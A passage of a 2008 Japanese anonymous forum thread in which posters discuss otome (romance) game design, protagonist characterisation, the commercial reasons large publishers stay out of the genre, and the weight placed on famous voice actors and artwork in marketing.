- 325 名前：名無しって呼んでいいか？ ：08/01/28 23:43:07 ID:???
- ２の主人公もストーリーも、１の主人公なくては
成り立たないものになってるんだ。
スタッフが１主人公に思い入れ・愛しすぎた又は自己投影しすぎて
１主人公ありきで作った結果と言われている。
- 326 名前：名無しって呼んでいいか？ ：08/01/29 00:08:36 ID:???
- 自分も初めて知った。自己投影しない派の自分から見ても微妙だ。
自己投影する・しないは関係ないと思うよ、この場合。
そういえばIFゲーの翡翠にも前作主人公とかがでてきたと思ったけど、あれはどうだったんだ？
- 327 名前：名無しって呼んでいいか？ ：08/01/29 00:39:37 ID:???
- 翡翠に緋色キャラが登場するって情報出た時、すわ水の二の舞いか！と
危倶されたけど全くそんなことはなかった。
緋色キャラは翡翠キャラピンチの時に現われて去っていっただけ。
翡翠は他の部分がダメゲーだったけど、そこんとこだけ空気読めてたｗ
- 328 名前：名無しって呼んでいいか？ ：08/01/29 08:57:06 ID:???
- 協力はするけどあくまで事件を収めるのは２主人公たち
って感じのスタンスで協力してくれた感じだったね
ただ三角関係の処理がへたくそだったなあ
あれじゃ主人公と攻略キャラが色ボケた嫌なやつでライバルがピエロ
- 329 名前：名無しって呼んでいいか？ ：08/01/29 11:53:57 ID:???
- 姉の婚約者？
略奪愛展開も扱い方が難しいし
上手くやったとしても好みの分かれる展開だろうけど、
最初から本命は主人公で、主人公と家族になるために
どうとも思ってない姉と婚約してたとか人間として最悪すぎるｗ
- 330 名前：名無しって呼んでいいか？ ：08/01/29 13:18:05 ID:???
- ファーストライブの先生ルートも姉が絡む三角関係だったな
姉と先生は付き合ってもいないし主人公が勝手に腰が引けちゃっただけで
両思い後に姉が温かく祝福してくれるから泥沼感は無かったかが
美人の姉（ライバル）よりも主人公を選ぶ男って展開自体は少女漫画的で
好きな人は結構好きだと思うけど好みが分かれそうってのもわかる
- 331 名前：名無しって呼んでいいか？ ：08/01/29 15:32:50 ID:???
- ちょっと話が変わるが
美人キャラは全く見向きもしないで
普通設定の主人公ばかり構うっていうのがあるけど、それはそれで度が過ぎて引く
- 332 名前：名無しって呼んでいいか？ ：08/01/30 00:45:56 ID:???
- >>303
見た目が綺麗な菓子類・入れ物が凝ってる薬品類・ｶｺｲｲ小物アクセetc
そういう「小さくて綺麗なもの」集めたがるのは女性向けじゃない？
自分がアトリエシリーズやりこんだ理由の一つｗ
そこに空欄があるから埋めるコレクター根性じゃなくて
お気に入りを手元に置きたい欲求みたいな
- 333 名前：名無しって呼んでいいか？ ：08/02/08 13:10:03 ID:???
- >>331
その文章だけ見ると引く理由がちょっと読めないんだけど
美人キャラを貶めて主人公マンセーしてると言うなら気持ちは解るが
そのキャラが主人公を好きだという事ならそう行動もありなのでは？
設定問わず主人公が特になにもしてない逆ハーは途中で投げたけど
なんにしても設定を書ききれるか、シナリオライターにかかってくるんだろうな
- 334 名前：名無しって呼んでいいか？ ：08/02/27 12:43:16 ID:???
- 大抵の少女漫画にも言えるけど
普通設定と言いつつ、主人公の殆どが
かわいい容姿してるので特になんとも思ったこと無いなぁ
スチルで男子と並ぶ絵があるなら、やっぱり女子も
それなりの容姿であって欲しいから不満も無いし
- 335 名前：名無しって呼んでいいか？ ：08/02/27 15:25:31 ID:???
- 主人公にそこまでの魅力を感じなかったってことじゃないの？
内面的に魅力的な女の子なら納得できるけど、どう見ても脇役の方が魅力的で容姿も良いのに
主人公ばかり持ち上げられてると微妙な気持ちでボタン連打するしかない
主人公はどの攻略対象にも対応できないといけないからキャラ作りが難しいだろうね
しかも同性には見る目が厳しくなるからちょっとしたことでも盛大に叩かれたり
無個性で顔なしにすると今度はスチルが難しくなるし本当に大変だと思う
- 336 名前：名無しって呼んでいいか？ ：08/03/18 23:21:58 ID:???
- 主人公の性格設定って難しいよね
自分は無個性、顔なし設定はつまらんと思ってる。あそこまでわかりやすく好意を示されて
その反応はねーよって思うのもしばしば…ＥDまでくっつかないってのも飽きた。
主人公が好かれる理由がわからないと全然話に引き込まれないから辛い
永久の桜、クールキャラと年上キャラがなんで主人公を好きになったかわからなかった
で、すごい勢いで愛をささやかれるから微妙だった
このゲーム、一部キャスティングに冒険が見られて好きなんだけどねw
- 337 名前：名無しって呼んでいいか？ ：08/03/22 14:06:23 ID:S1FEvGak
- カプコンは新作は出さないのかな？
コナミ、コーエーとゲーム性あるの出して売れてるし、それに続けとは思わないもんなのかね？
フルキス続編？もＤＬ販売だし、このまま撤退なのかな…。
個人的には大手ゲーム会社にはゲーム性とストーリーが併合した、
手を抜いてないゲーム出して欲しいんだけど……夢見すぎかな？
- 338 名前：名無しって呼んでいいか？ ：08/03/22 14:07:29 ID:???
- あぁぁ…ごめん。あげてしまったorz
- 339 名前：名無しって呼んでいいか？ ：08/03/22 14:09:18 ID:???
- 乙女ゲ制作に旨みを感じていれば、続編なり新作なり作るだろ
- 340 名前：名無しって呼んでいいか？ ：08/03/22 14:36:44 ID:???
- 続編が出ない＝旨みが薄いってことだよな
大手だからこそ乙女ゲに力入れる意義は薄いんじゃない
- 341 名前：名無しって呼んでいいか？ ：08/03/22 15:06:38 ID:???
- カプンコは乙女ゲーで乙女ユーザー相手にするより
一般ゲーで腐女子も一緒に釣った方が割がいいと気づいたって感じ
あからさまなもいれなくても食いつくし
元々自分たちが外道萌えしてるの分かってるからないがしろにして文句言わないし
- 342 名前：名無しって呼んでいいか？ ：08/03/22 15:22:49 ID:???
- >>341
BASARAのグッズ展開ぶりがそれを物語ってる気がする
ぶっちゃけもうカプコンに乙女ゲ方面では期待してない
- 343 名前：名無しって呼んでいいか？ ：08/03/22 15:50:41 ID:???
- 逆裁だって腐女子はかなり釣れただろうし
無論一般層は大漁だったわけで
キャパの小さな女性オンリーを狙うより
女性も吊り上げられる一般向けの餌の方がいいや
って思っちゃうと正直乙女ゲーに旨みは感じないんじゃない？
- 344 名前：名無しって呼んでいいか？ ：08/03/22 16:57:24 ID:???
- 時々一般大手の参入を希望する意見が出るけど、一般の方で儲けてる所が
わざわざ乙女ゲに手を出す商業的な理由はあまりないんだよな
メインの柱であるゲームの方に力を入れた方が儲かる以上、
参入した所であまり乙女ゲに資金と手間は割けないだろうし
- 345 名前：名無しって呼んでいいか？ ：08/03/22 17:15:23 ID:???
- 声優イベントやボッタクリジュエリーとかで儲けようという思い切りのよさがあれば
- 346 名前：名無しって呼んでいいか？ ：08/03/22 17:30:10 ID:???
- まあキャパ的に最大でも１０数万くらいな上、ゲームの出来ではなく好みの問題レベルでファンがうるさい乙女ゲーと
２０〜５０万狙える上にグッズ展開もできる「女性もできる」一般ゲーならどちらが旨味があるかは一目瞭然だよな
- 347 名前：名無しって呼んでいいか？ ：08/03/23 00:41:17 ID:???
- そもそも乙女ゲユーザーが今一番求めている物って何だろう？
ゲーム性？シナリオ？そりゃあどっちもあるに越したこと無いけどｗ
現状に満足してる人が多いのかな…。
＞まあキャパ的に最大でも１０数万くらいな上、ゲームの出来ではなく好みの問題レベルでファンがうるさい乙女ゲーと
＞２０〜５０万狙える上にグッズ展開もできる「女性もできる」一般ゲーならどちらが旨味があるかは一目瞭然だよな
それか色々ユーザーからの意見があっても企業のやる気が無いのか…
- 348 名前：名無しって呼んでいいか？ ：08/03/23 14:35:00 ID:???
- よく値段が高いとか言われるゲームあるけど
8800円に慣れてるから安すぎていつも驚いてる自分はエロゲ脳。
＞ゲームの出来ではなく好みの問題レベルでファンがうるさい
正直ちょっと怖いくらいだ。
数が増えてもっと選べるようになれば多少は落ち着くんだろうけど、そこまで広がる市場とも思えないしな…。
ADVだとゲームやってる気がしない、地の文多くて読むの面倒、プレイ時間短いとか言われ、
SLGだと周回プレイが面倒だの金太郎飴だの言われる…。
ゲーム性とストーリー性って対照的だよね？
RPGならまだしも、パラ上げ系シミュレーションで物語に奥深さを出すのは難しそう。
乙女ゲーの中でも売れてるGSシリーズって、ストーリー性みたいなのはほぼないよね？
あくまでも高校生活と恋愛の過程だけを描いているというか。
でもこれも、あんまりシリーズが続くと飽きられるんだろうな…。
＞女性向けのみで成立する要素
男性向けでは早くに廃れた、自分磨きとリアリティじゃないかな。
逆に、乙女ゲで奇跡とか永遠とか書いても売れなそう。
- 349 名前：名無しって呼んでいいか？ ：08/03/23 14:49:01 ID:???
- >>337
>それに続けとは思わないもんなのかね？
それに続けと思って出したのがフルキスなんじゃ？
>>347
>企業のやる気が無いのか…
旨味が無さそうなのに、大手企業側にやる気が起きるわけはないと思うんだ…。
一般大手の新規参入は、ﾃﾞｭｴﾙみたいに、やる気のある人が紛れ込んで
上司がウッカリ丸め込まれるのを待ったほうが早いんじゃないかなぁ…。
- 350 名前：名無しって呼んでいいか？ ：08/03/23 16:17:46 ID:???
- 自分も乙女ゲーは安いイメージあるんだけどな
7200(6800)の一般ゲーと同じくらいな値段のものってほとんど出ないし
あったとしてもお店で売ってると6000くらいで買えちゃう
ある程度やり込んでからゲームを売っても、それなりの値段がつく
って感じで一般ゲーより気軽に買ってる気がするよ
ﾊﾙｶの３が出る間際に２を売った時に２，３千ついたのに驚いたな…
- 351 名前：名無しって呼んでいいか？ ：08/03/23 18:01:12 ID:???
- >>350
今って6800が一般なの？
据え置きは5800、そこそこ力入ってて6800だわ。
私の中では。
FF並みの大作で7800
携帯なら4800
- 352 名前：名無しって呼んでいいか？ ：08/03/23 18:20:46 ID:???
- PS2は乙女ゲも一般ゲも6800円のばっかだよ
5800円はPSの頃に多かった値段
- 353 名前：名無しって呼んでいいか？ ：08/03/23 20:49:34 ID:???
- 旨みは確かになさそうだよねぇ
ぶっちゃけ好みがかなり幅広い上にうるさそうだもんなぁ
ギャルゲーからの参入だったけどユアは本当に色んな意味で乙女ゲーとは言い難い出来だった
参入して貰えるのは有難いけど、その辺りはしっかり見て参入して欲しい
- 354 名前：名無しって呼んでいいか？ ：08/03/23 22:03:32 ID:???
- 乙女ゲーは、新しいものを求めながらストーリーや絵の好みは
男性向けより保守的で冒険的なものはあまり受け入れられないという
厄介さがあるからね・・・。
- 355 名前：名無しって呼んでいいか？ ：08/03/23 22:09:23 ID:???
- 有名声優フルボイスという時点で
小さいメーカーは開発費のほとんどを持っていかれちゃうんで
結局大したものは出来なくなってるらしいよ
- 356 名前：名無しって呼んでいいか？ ：08/03/23 22:11:07 ID:???
- ほうほう
有名声優パートボイスの某大手企業は（ｒｙ
- 357 名前：名無しって呼んでいいか？ ：08/03/23 22:16:01 ID:???
- 別にフルボイスじゃなくてもいいが、声を後で別売りするのは止めて貰いたい
恋愛イベントを昔はＣＤで出してたからな
ＳＦＣ時代以外は許されない商法だろ
- 358 名前：名無しって呼んでいいか？ ：08/03/24 00:39:05 ID:???
- 同意。
逆に中手くらいなら無理にフルボイスにしなくていいから
絵やシナリオの質や快適なシステムに金使って欲しい。
小手は流石にフルボイス！人気声優！にしないと厳しいだろうし。
- 359 名前：名無しって呼んでいいか？ ：08/03/24 00:43:38 ID:???
- いいたいことは、分かるが
中手、小手ってw
大手って「大手筋」って言葉から来てるんだから
中手なんて言葉はないぞ
小手はあるけど、意味が全く違うしな
- 360 名前：名無しって呼んでいいか？ ：08/03/24 01:04:10 ID:???
- 同人用語だよ。同人系の人なんだろ。さらに下はピコ手らしい。
普通は大手・中堅・弱小だもんね。
- 361 名前：名無しって呼んでいいか？ ：08/03/24 02:22:21 ID:???
- ピコ手って
単位でいくならいくで、ゼタ手メガ手デシ手とかいえばいいのに
- 362 名前：名無しって呼んでいいか？ ：08/03/24 03:41:11 ID:???
- 同人のピコはピーコからきてるんだと思ってた。
- 363 名前：名無しって呼んでいいか？ ：08/03/24 11:15:43 ID:???
- 最も力を入れるのはボイス（とCG）って状況は変わらないと思う
とりあえず買わせる、予約させるにはボイスが重要なのは
確かだし・・・
内容勝負でクチコミを期待するにしても
初動が少な過ぎたら評判が立つ前に次のゲームに埋もれちゃうわけで
まずは「人気声優△△さんフルボイス」と謳わないと駄目な気が。
何よりボイスが入ってないと流通業者や販売店が
営業に力入れてくれると思えない。
このゲームはお話が良いんです、システムが良いんです、よりも
こんなに豪華な声優でフルボイスで特典が凄いんです、のほうが
売りが伝わりやすい。
- 364 名前：名無しって呼んでいいか？ ：08/03/24 19:10:44 ID:???
- 本当にこのジャンルで乙女達の心鷲掴みにしてやろうってくらい
ストーリーにも自信があって野心もあるトコは
いっそ同人から始めた方がいいのかもしれんね。
同人なら有名声優使ってなくても目をつむってもらえるだろうし。
- 365 名前：名無しって呼んでいいか？ ：08/03/24 19:39:09 ID:???
- 流通が取り扱ってくれまへん
- 366 名前：名無しって呼んでいいか？ ：08/03/24 19:58:02 ID:???
- 同人という時点でスルー組の人も多いからなあ
そもそもストーリーや内容で勝負してる作品が見たいと
言ってる人達の中でも
評価の高い作品低い作品はバラバラなんじゃないか？
- 367 名前：名無しって呼んでいいか？ ：08/03/24 20:01:56 ID:???
- まぁ、実際流通の功罪ってのは結構あるよね
特典商法についても、店舗別を用意しないと取ってもらえないなんて話を聞くし
全ショップが足並み揃えて止める、なんてのはありえないとしても
もうちょっとどうにかならんものかな
- 368 名前：名無しって呼んでいいか？ ：08/03/24 20:02:51 ID:???
- 同人の場合はボイスじゃなくてCG勝負だな
パッと見て絵がｼｮﾎﾞﾝなゲームはまずスルー
- 369 名前：名無しって呼んでいいか？ ：08/03/24 20:05:32 ID:???
- ユーザーに媚びると流通や販売店に媚び売れない
流通や販売店に美味しくすればユーザーに美味しくない
そんな市場経済
- 370 名前：名無しって呼んでいいか？ ：08/03/24 20:18:45 ID:???
- ゲームが店舗買い取りでなく、本みたいに売れなきゃメーカーに返品って形なら
もうちょっといろいろ考えて作ってくれそうなんだけどな。
- 371 名前：名無しって呼んでいいか？ ：08/03/24 20:30:00 ID:???
- ゲームもコンシューマー以外には返品率がある
その上、コンシューマーゲームでもわざわざ箱を壊して
初期不良扱いにした上で返品するところがある
実情はそんなもんだよ
- 372 名前：名無しって呼んでいいか？ ：08/03/24 23:22:50 ID:???
- BLだけど同人の花帰葬が絵はヘタレでも音楽の良さで売れたらしいけど
乙女はそういうのは出ないのかな。
音楽じゃなくても一点突出型とか。
- 373 名前：名無しって呼んでいいか？ ：08/03/24 23:32:25 ID:???
- その一点が評価される前に
その他の悪いところを叩かれまくって消えるのが
女性向けゲームの宿命なんじゃないかな
いい作品でも運悪く埋もれていくことも多いと思う
- 374 名前：名無しって呼んでいいか？ ：08/03/25 13:43:16 ID:???
- どんな作品でも完璧な作品ってないと思うけど、女性向けの場合
絵が微妙→ぱっと見でスルー
声優→好きな声優さんがいないからスルー
どんなにシナリオや音楽が良かったとしても掴み（絵と声優）の時点で駄目だと買わない
これがかなりネックなんだろうね
口コミでじわじわ広がるってのもあまり聞かないし
シナリオが良くて絵と声優が駄目
絵と声優が良くてシナリオが駄目
この二択なら間違いなく後者の方が売れるというのが現実なんだろうし
…だからここからの進歩がないんだろうなと思ってしまう
- 375 名前：名無しって呼んでいいか？ ：08/03/25 18:46:52 ID:???
- 立ち絵が微妙と散々いわれてるときメモシリーズや、
スチルがｵｳﾞｧ絵だったりフルボイスじゃないネオロマの作品が売れてるのを見ると、
絵や声だけで選ばないユーザーも結構いるんじゃないかな？
丁寧に作り込まれたゲームなら、時間は掛かるかも知れないけどファンも付いてくると思うよ
- 376 名前：名無しって呼んでいいか？ ：08/03/25 18:48:16 ID:???
- そんな開発費や広報力の強い会社を例に出されても…w
- 377 名前：名無しって呼んでいいか？ ：08/03/25 18:53:38 ID:???
- すぐに儲からないなら小さい会社は撤退するか潰れるんでない？
じっくり時間をかけて開発できるのも
じっくり時間をかけてファンを付けていくのも
体力のある会社じゃなきゃ出来ないよ
結果、ボイスやＣＧみたいに即売り上げに繋がる部分を重視するしか
ないんでない？
- 378 名前：名無しって呼んでいいか？ ：08/03/25 19:43:23 ID:???
- んなあほな
そういうのを言い訳にして粗雑なモン乱発してるだけだとおもうよ
- 379 名前：名無しって呼んでいいか？ ：08/03/25 20:00:00 ID:???
- 単純に才能のある人はこのジャンルに
居ないor来ないだけかもよ？
制作者なりには丁寧、内容重視の物を作っても
結果的に底辺ゲーになっちゃうのかも。才能無いから。
乙女ゲーへの愛は溢れていても作る能力はゼロって事もある。
- 380 名前：名無しって呼んでいいか？ ：08/03/25 20:16:49 ID:???
- >>376
>>375は開発会社関係なしに、ユーザーが何を重視するかを言いたかったんだ
例えが悪くてｽﾏﾝ…
例えば、おんなじメーカーが同じ開発費用で
「人気絵師起用、有名声優フルボイス、シナリオ金太郎飴日本語崩壊」
「絵は微妙、ボイスなし、快適システム、個別ルート有りのボリューム沢山なシナリオ」
こんな感じの2作品をリリースしたら、最終的に後者の方が売れるんじゃないかな
- 381 名前：名無しって呼んでいいか？ ：08/03/25 20:21:08 ID:???
- >>380
後者のシナリオが一般ＡＤＶ好きにもオススメ出来るってほどの秀逸な出来ならまだしも
前者がキャラは萌えられるってタイプなら
微妙なとこだと思う。
- 382 名前：名無しって呼んでいいか？ ：08/03/25 20:21:26 ID:???
- >>380
一般ゲーでもじわじわ売れた系のゲーム作った小さいメーカーは潰れてるし
後ろ盾がないと売れる前に会社潰れると思う
- 383 名前：名無しって呼んでいいか？ ：08/03/25 20:23:07 ID:???
- >>380
これはまた極端だなｗｗｗ
どうだろうか…声優さんやイラストも勿論作品の魅力のうちの一つだけど、
個人的には後者の方をプレイしたいと思うな
まぁ贅沢言うと両方の条件満たすのが一番なんだろうけどさｗ
- 384 名前：名無しって呼んでいいか？ ：08/03/25 20:26:17 ID:???
- 乙女ゲーのユーザーってどの層が一番多いんだろう？
それによっても結果は変わってくるかもね。
年齢層が高めだと、どれかに目を瞑らなければならないとしたら
グラフィックや声優よりも、やはりしっかりしたストーリーを重視する率が高そうだけど、
年齢が低めの層だと、グラフィックが美しく有名声優等の声でお手軽に萌えられて、
あまりスパンを開けずに次々消費できるタイプのゲームの方が受けそうな気がする。
- 385 名前：名無しって呼んでいいか？ ：08/03/25 20:27:14 ID:???
- >>380
人気絵師と有名声優は一目で良し悪しが分かるが
シナリオの良し悪しはハッキリ分からないぞ
日本語が崩壊していなくてボリュームが多ければ
良いシナリオというわけじゃない
悪いところが全く無い文章でも面白くない場合はある
- 386 名前：名無しって呼んでいいか？ ：08/03/25 20:30:00 ID:???
- 絵とかシナリオより何よりキャラ萌え第一だろうな＞最終的な売上
- 387 名前：名無しって呼んでいいか？ ：08/03/25 20:32:51 ID:???
- >>384
やっぱり中高生と、言い方悪いが
その年齢と精神年齢同じぐらいの主婦層に支持されてると思う。
- 388 名前：名無しって呼んでいいか？ ：08/03/25 20:34:59 ID:???
- ぶっちゃけ乙女ゲーは高尚なもんじゃなくて
萌え産業の一部だからな
- 389 名前：名無しって呼んでいいか？ ：08/03/25 20:37:57 ID:???
- >>379
それは大きいと思うよ。
乙女ゲ作りたくてゲームメーカー入社しましたって人もいるけど
結果は…って感じだしなぁ
- 390 名前：名無しって呼んでいいか？ ：08/03/25 20:45:20 ID:???
- ＞乙女ゲーへの愛は溢れていても作る能力はゼロって事もある。
だよなあ…
やる気だけで良ゲーが作れるなら、同人乙女ゲは名作だらけだ
- 391 名前：名無しって呼んでいいか？ ：08/03/25 21:08:26 ID:???
- 乙女ゲってジャンルは発展することはないとおも
フリーの同人ゲですら
しょーもない理由でﾌﾙﾎﾞｯｺされてる現状を見れば
下手にあれこれ実験的なものに手を出すより
絵と声で釣るのが一番楽で確実だもんな
- 392 名前：名無しって呼んでいいか？ ：08/03/25 23:02:27 ID:???
- >>380
正直言って後者はまず最初にプレイする人口がかなり少ないと思うんだ
まず何処を魅力と捉えて買うかって考えた時設定だけってなると結構きつい
プレイ人口少ない→口コミだったり評判も広がりにくい→結局売れないという悪循環になりそう
ネオロマとかときメモはある一定のクオリティを超えているから売れているのではないかと思う
声優、立ち絵、スチル、声優、シナリオというある意味すべての面で
勿論不満点もあるけど「次のシリーズが出たら買おう」と思えるレベルの作品には仕上がっているという感じ
ただここまで続いてきたのはやっぱり会社土台の違いもあるとは正直思う
- 393 名前：名無しって呼んでいいか？ ：08/03/25 23:20:53 ID:???
- ものすごい極端な話になるけど、例えばときメモGSシリーズとネオロマシリーズ
ゲームシステム等はは現状のクオリティ維持を前提に
1.声なし
2.立ち絵とスチルは現状より微妙だが声あり
だった場合どっちの方が売れるんだろう
ゲームはそのままでボイスなしだった場合、今と同じだけの売上が記録出来たんだろうか
- 394 名前：名無しって呼んでいいか？ ：08/03/25 23:41:36 ID:???
- > プレイ人口少ない→口コミだったり評判も広がりにくい→結局売れないという悪循環になりそう
そうなんだよな
とにかくボイスとＣＧで騙してでも初回出荷を多くしないと
クチコミも評判も広がる前に終わってしまう
とにかく最初に売りつけてさえしまえば
その後多少評判が微妙でも開発費は回収できてしまう
そして不思議なことにある程度の数が売れると
どんなに出来の悪いゲームでも「私は好きです」って人が
結構出て来るんだよなw
- 395 名前：名無しって呼んでいいか？ ：08/03/25 23:45:35 ID:???
- >>393
2だと思う
この絵はねーよｗｗとｐｇｒされてたDUELや地雷メカで有名なIFの
プティだって、声優発表された途端○○来ちゃったから買わなきゃorz
みたいなレスがいくつか見られたし
声優商法がなくならないのも声ありｳﾏｰな証ｼﾞｬﾏｲｶ？
- 396 名前：名無しって呼んでいいか？ ：08/03/26 00:10:13 ID:???
- >>393
一般では２だろうな。
個人的には、声聞いて鳥肌立てて音切る人間だから、確実に１を買うけど。
- 397 名前：名無しって呼んでいいか？ ：08/03/26 00:40:49 ID:???
- >393
絵が微妙位は内容でカバーできるから２の方が売れる
ただ、絵師ファンが結構いるネオロマで
声なし現状維持の遙かと
声ありキャラデザＤＵＥＬ絵だったらどっこいだと思う……
- 398 名前：名無しって呼んでいいか？ ：08/03/26 00:42:46 ID:???
- 快適システムやボリューム満点な個別シナリオってのはやってみて初めて判るからなあ
その代わり声優や絵はパッと見て好みかそうじゃないか判断しやすいから掴みやすい
- 399 名前：名無しって呼んでいいか？ ：08/03/26 01:36:35 ID:???
- システムや音楽はいいけどシナリオやキャラが微妙だとか
キャラはいいのにシステムもっさりで塗りがショボイとか
様子見してたら評価が微妙で結局スルーってのが結構あるなあ
必ずしもクチコミがプラスになるわけじゃないから、
絵とか声で釣って初動を伸ばそうって方向に行くのかね
- 400 名前：名無しって呼んでいいか？ ：08/03/26 07:57:59 ID:???
- 絵と声が良ければ販売店に数多くとってもらえる可能性があるし
雑誌なんかでも情報として出しやすい
内容で勝負しても宣伝には使いにくいし、
何よりプレイしてもらえなきゃ意味がない
となれば結論は目に見えている気がするけどね
- 401 名前：名無しって呼んでいいか？ ：08/03/26 12:01:58 ID:???
- いくらユーザーがクオリティ向上を望んでも、メーカーの体質はかわらないもんな…
そういえばDUELも人気漫画化の起用を宣伝してたけど、効果あったのかな？
スレでは絵買いしてる人あんまりいないようだったからｗ
バンナムなんて、お抱えの絵師で安定した作画が出来る人いっぱいいるだろうに
- 402 名前：名無しって呼んでいいか？ ：08/03/26 12:12:36 ID:???
- メーカーに頑張って欲しいから出来うる限り新品で買って
中古もあまり手を出さないようにって自分はやってるんだけど
なんか無駄な事やってる気もしてくるｗ
「お前みたいな奴がいるからメーカーに向上心が無いんだ」みたいな事も言われたし
割れやニコよりはまともだと思うんだがなー
- 403 名前：名無しさん＠板設定投票日決定！詳細は自治スレへ ：08/03/26 12:29:51 ID:???
- ＞バンナムなんて、お抱えの絵師で安定した作画が出来る人いっぱいいるだろうに
フルキスの時同じこと思ったｗ
宣伝効果どれくらいあるんだろうね
>>402のような人がいなくなっちゃったら、向上どころか衰退しそうだｗ
- 404 名前：名無しさん＠板設定投票日決定！詳細は自治スレへ ：08/03/26 13:03:43 ID:???
- >>402
いや、それは地道だけど物凄く重要な努力だと思う
それでアンケも送ってたら完璧だ
妙な煽りに凹む必要なんかないよ
メーカーの向上心がなくなるとしたら、
特典狙いの複数買いから中古流しのへコンボの方じゃないかな
口コミで広まっても中古流通じゃ販売数としてカウントされないし
そういう意味でもやっぱり初動重視＝声や絵を売りにって流れになっちゃうのかなぁ
- 405 名前：名無しさん＠板設定投票日決定！詳細は自治スレへ ：08/03/26 20:59:39 ID:???
- メーカーにコンタクトとらないと向上心もクソも無い
アンケート送るのが一番だと思う
買わない事にメッセージこめたつもりになっても、あまり意味ない
- 406 名前：名無しさん＠板設定投票日決定！詳細は自治スレへ ：08/03/27 10:29:09 ID:???
- そうなんだよなー
制作側にしてみれば売れない＝アイデアが悪かった＆何よりも乙女ゲに需要がない
そうして乙女ゲを作る会社が減っていく
- 407 名前：名無しさん＠板設定投票日決定！詳細は自治スレへ ：08/03/27 18:14:32 ID:???
- その判断をするのは制作者側じゃなくて販売側じゃない？
まぁ、販売側が売れないと判断すれば作らせてもらえないのは同じだろうけどね
- 408 名前：名無しさん＠板設定投票日決定！詳細は自治スレへ ：08/03/28 12:51:41 ID:???
- 「毎度微妙に設定と絵とボイスが違う
美少年・美青年を取っ替えひっかえ消費するゲーム」が
乙女ゲーだと思ってるので
毎月のように新しい設定のオトコが生産されるようになった分
ずいぶんこのジャンルも発展したなと思っているよ
悟りの境地か？
- 409 名前：名無しさん＠板設定投票日決定！詳細は自治スレへ ：08/03/29 22:34:59 ID:???
- その新しい設定も他からのインスパイアがほとんど
つまり何かが無きゃ生産できないという半ば寄生虫のようなジャンル
そういえば池袋の乙女ロードとやらも売り側が秋葉の住み分けで出来たスペースだし
女性向けってつくづく受け身な市場だな
発展としたといえばキャラの種類と知名度ぐらいか
今まで生き残っているだけでも凄いんじゃない？
- 410 名前：名無しさん＠板設定投票日決定！詳細は自治スレへ ：08/03/29 23:27:36 ID:???
- >408
自分はその設定も
みんな少女漫画（しかも偏ってる）風で閉塞
みんな甘いイチゴチョコでまずくはないけど飽きてきた、ってかんじ
- 411 名前：名無しさん＠板設定投票日決定！詳細は自治スレへ ：08/03/30 11:38:18 ID:???
- > みんな甘いイチゴチョコ
確かに。
それも一箱百円前後の可もなく不可もない普通のチョコばっかりな。
ショコラブティックの高級なのが食べたいとは言わないけど
こう同じような味で変わり映えしないのを次々出されたら
好きな味でも飽きるわな。
外箱のデザインもあまり変わらないし。
たまにはビターチョコや洋酒入りのだって食べたい。
- 412 名前：名無しさん＠板設定投票日決定！詳細は自治スレへ ：08/03/30 11:55:15 ID:???
- でも、やっぱ定番のチョコが一番売れるんだろうなw
> 発展としたといえばキャラの種類と知名度ぐらいか
> 今まで生き残っているだけでも凄いんじゃない？
つまり求める側もそれしか求めてないんじゃない？
結局のところ、好みのキャラの属性って偏ってるし
好みの属性を付け替えて新しい名前を割り振ったキャラと
恋愛ごっこするゲームが欲しいだけっていうか
- 413 名前：名無しさん＠板設定投票日決定！詳細は自治スレへ ：08/03/30 18:59:39 ID:???
- ＞好みの属性を付け替えて新しい名前を割り振ったキャラと
＞恋愛ごっこするゲームが欲しいだけっていうか
むしろ、色んな設定を割り振られた男声優に口説かれるゲームってのが
近頃はますます増えている気がする
いつでも同じ声優な上、キャラクター造形がマンネリ化してきてるからかな
- 414 名前：名無しさん＠板設定投票日決定！詳細は自治スレへ ：08/03/30 19:02:46 ID:???
- ttp://akiba.keizai.biz/headline/887/
こんなＣＤまで出るらしいし、やっぱり如何に甘い台詞を聞けるかが
重要なんだという気がするなあ
- 415 名前：名無しさん＠板設定投票日決定！詳細は自治スレへ ：08/03/30 19:41:28 ID:???
- >>412
>つまり求める側もそれしか求めてないんじゃない？
>結局のところ、好みのキャラの属性って偏ってるし
同感
でも難しいのは新しいものに挑戦すれば否定的なのもプレイヤーって事なんだよね
万人受けが難しい上ある程度の評価を得るのも結構難しいと思う
すごく極端な例を出すと
乙女ゲーでFFのような大作RPGを出したら売れるだろうか
女遊びが激しくてトラウマ持ちとかじゃなく真性の浮気性、全く更生しないキャラがいたらそのキャラは受け入れられるか
どっちも難しい気がするんだよね
勿論全員ではないけど多くのユーザーが望む状況＝現状のような気もしないでもない
- 416 名前：名無しさん＠板設定投票日決定！詳細は自治スレへ ：08/03/30 23:26:27 ID:???
- エロゲの純愛ゲと抜きゲのように、
乙女ゲーもシナリオ重視ゲーと萌えゲと分ければいいよ。
シナリオ重視したい人はストーリー長め・主人公の個性強め・難易度そこそことか、
逆に手軽に萌えが欲しい人はストーリー短め・攻略簡単・ゲロ甘な台詞たくさん囁いてくれる方を選べばいいし。
なんかもっと過疎化が進みそうだ('A`)
いつもは気にしたこと無かったけど、アンケート送ってみようかな。
何書いたらいいかわかんないけど…。
消費者がこの市場を発展させようと思ったら、出来る事はこのくらいか。
- 417 名前：名無しさん＠板設定投票日決定！詳細は自治スレへ ：08/03/31 00:31:29 ID:???
- まあ、キャラやシチュに萌えの乙女ゲー的テンプレが無いと
「乙女ゲーっぽくない、乙女ゲーやってる気がしない」という声が
上がってくるのは間違いないだろうな。
実際そのへんも原因の一つかもしれない失敗乙女ゲーってあるし。
やっぱり、採算度外視の奇特なメーカーが乙女業界に現れないかぎり
難しいだろうなあ…そしてそんな可能性なんて、泣けてしまう程無いｗ
- 418 名前：名無しさん＠板設定投票日決定！詳細は自治スレへ ：08/03/31 01:46:47 ID:???
- つうか採算度外視してる時点でプロ失格じゃねえかよw
- 419 名前：名無しって呼んでいいか？ ：08/04/03 19:03:50 ID:???
- 今の流れを変えてくれるような作品が出ればな…。
あんまりエロゲと比較しすぎるのも良くないんだろうけど
エロゲやギャルゲみたいに、目標にしたくなるような大作が何か出れば変わるんじゃないかな。
- 420 名前：名無しって呼んでいいか？ ：08/04/03 19:35:43 ID:???
- tk何かを目標に作って劣化劣化コピーが大量生産されたのが
現在の状況だと思うんだが…
- 421 名前：名無しって呼んでいいか？ ：08/04/03 19:42:10 ID:???
- エロ促進の現状を見るに、少女漫画の方向が近いのかも。＞指針
- 422 名前：名無しって呼んでいいか？ ：08/04/03 20:00:08 ID:???
- 最近の微エロブームは本当どうにかしてほしい('A`)
